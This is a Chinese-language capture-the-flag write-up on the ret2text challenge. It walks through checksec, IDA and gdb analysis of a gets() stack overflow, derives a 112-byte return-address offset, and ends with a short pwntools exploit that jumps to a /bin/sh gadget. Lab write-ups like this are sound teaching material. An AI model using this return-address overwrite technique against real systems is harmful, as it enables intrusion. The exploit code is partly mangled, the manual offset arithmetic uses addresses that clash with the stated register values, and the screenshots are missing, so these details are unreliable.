思路:1.确定漏洞类型和保护机制
    2.确定可利用的代码段和地址
    3.确定偏移地址

    首先file ret2text
    image.png
    checksec ret2text
    image.png
    可以看见只开了个NX,也就是
    image.png
    那么只能用ROP
    放到IDA
    image.png
    可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞
    shhift +f12 看看有没有我们可以直接利用的程序段
    image.pngimage.png得知/bin/sh地址在0x0804863A
    接下来需要考虑的是可控内存的起始地址距离main函数的返回地址的距离
    这里有两种方法
    1.分析栈的情况
    这里我想说一下为什么在call gets下断点,因为这个时候s还没初始化,只是被定义,直到调用get函数,之前 s才会进栈,那么这个时候在call gets下断点,此时字符串刚刚栈,image.png

    此时寄存器中显示的就是字符串刚进栈时的esp和ebp
    image.png
    此时ESP:0xffffd020 EBP:0xffffd0a8
    根据image.png
    就可以轻松的锁定s的范围
    也就是
    image.png
    ebp的地址-esp地址+1ch 也就是0xffffd0c8-(0xffffd040 + 0x1c)= 0x6c 又因为还得覆盖ebp 所以还得+4字节
    所以总偏移就是0x6c+4

    2.通过cyclic工具创建200个字符串
    image.png
    这个时候gdb跑一下 直接把字符串全给过去,让他溢出
    image.png
    image.png
    可以看见Program received signal SIGSEGV (fault address 0x62616164) 程序在这里停止了
    cyclic -l 0x62616164 可得出从输入内存可控起始地址到ret地址的字节数
    112

    那么接下来就是编写exp
    from pwn import
    sh = process(‘./ret2text’)
    target=0x0804863A
    payload = ‘A’
    112 + p32(target)
    sh.sendline(payload)
    sh.interactive()